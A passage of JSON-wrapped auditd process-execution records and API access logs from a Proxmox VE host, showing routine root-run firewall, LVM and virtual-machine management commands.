a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.538:68330): arch=c000003e syscall=59 success=yes exit=0 a0=6242ca8ecac8 a1=7ffd96e23860 a2=62430093b680 a3=6242ca8d024e items=2 ppid=65613 pid=65615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455395,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.395:61109): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965302346,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.022:61768): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966074374,"@rawstring":"node=pve type=EXECVE msg=audit(1781966074.374:68314): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965287442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.442:64973): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.575:59429): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.537:68329): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd96e23820 a1=624300942310 a2=62430093b680 a3=5 items=2 ppid=65613 pid=65614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455392,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.392:61108): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965302346,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.022:61767): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966073591,"@rawstring":"node=pve type=EXECVE msg=audit(1781966073.591:68313): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"delete\" a3=\"/nodes/pve/qemu/877\""} {"@timestamp":1781965287435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.435:64971): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.569:59428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140410 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.533:68327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455391,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.391:61107): argc=1 a0=\"date\""} {"@timestamp":1781965300726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.007:61765): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966070275,"@rawstring":"node=pve type=EXECVE msg=audit(1781966070.275:68312): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965287435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.435:64970): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.562:59427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1361a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.526:68326): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455386,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.386:61105): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965300726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.007:61764): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=EXECVE msg=audit(1781966070.270:68309): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965285439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.439:64966): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc39494fe0 a1=5575064ea310 a2=5575064e3680 a3=5 items=1 ppid=62408 pid=62409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.554:59426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.518:68325): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455380,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.380:61104): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965300726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.356:61755): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa48963c0 a1=570f5c92b3d0 a2=570f5c909680 a3=5 items=1 ppid=59273 pid=59274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065483,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.483:68306): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965285352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.352:64948): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe58f1be40 a1=585011987360 a2=585011980680 a3=5 items=1 ppid=62389 pid=62390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964064574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964064.574:59425): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417e70 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.512:68324): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b60c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455369,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.369:61103): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965300726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.273:61737): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8b7dbaa0 a1=5bae56b54310 a2=5bae56b4d680 a3=5 items=1 ppid=59254 pid=59255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065480,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.480:68305): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.426:64938): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964064546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964064.546:59424): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d7414da0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.504:68323): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1013e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.361:61102): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965298419,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.000:61729): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065479,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.479:68304): argc=1 a0=\"date\""} {"@timestamp":1781965282426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.426:64937): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964062798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.798:59423): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.496:68322): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455351,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.351:61101): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965298419,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.000:61728): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065474,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.474:68302): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965282421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.421:64935): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964062790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.790:59420): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.294:68321): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455346,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.346:61099): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965298419,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.991:61726): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065466,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.466:68301): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965282421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.421:64934): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964057783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.783:59417): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.283:68318): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455340,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.340:61098): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965298419,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964604.991:61725): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065457,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.457:68300): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965277412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.412:64932): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964057771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.771:59414): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966074399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966074.399:68315): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ac0 a1=64f8d74179a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455335,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.335:61097): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965296290,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.978:61711): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065447,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.447:68299): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965277411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.411:64931): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.542:59411): arch=c000003e syscall=59 success=yes exit=0 a0=5f28e00a4060 a1=5f28e00a0de0 a2=5f28e0082680 a3=5 items=2 ppid=57056 pid=57062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966074374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966074.374:68314): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1940 a1=64f8d7410b00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.330:61096): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965296290,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.978:61710): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065438,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.438:68298): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965277404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.404:64929): arch=c000003e syscall=59 success=no exit=-2 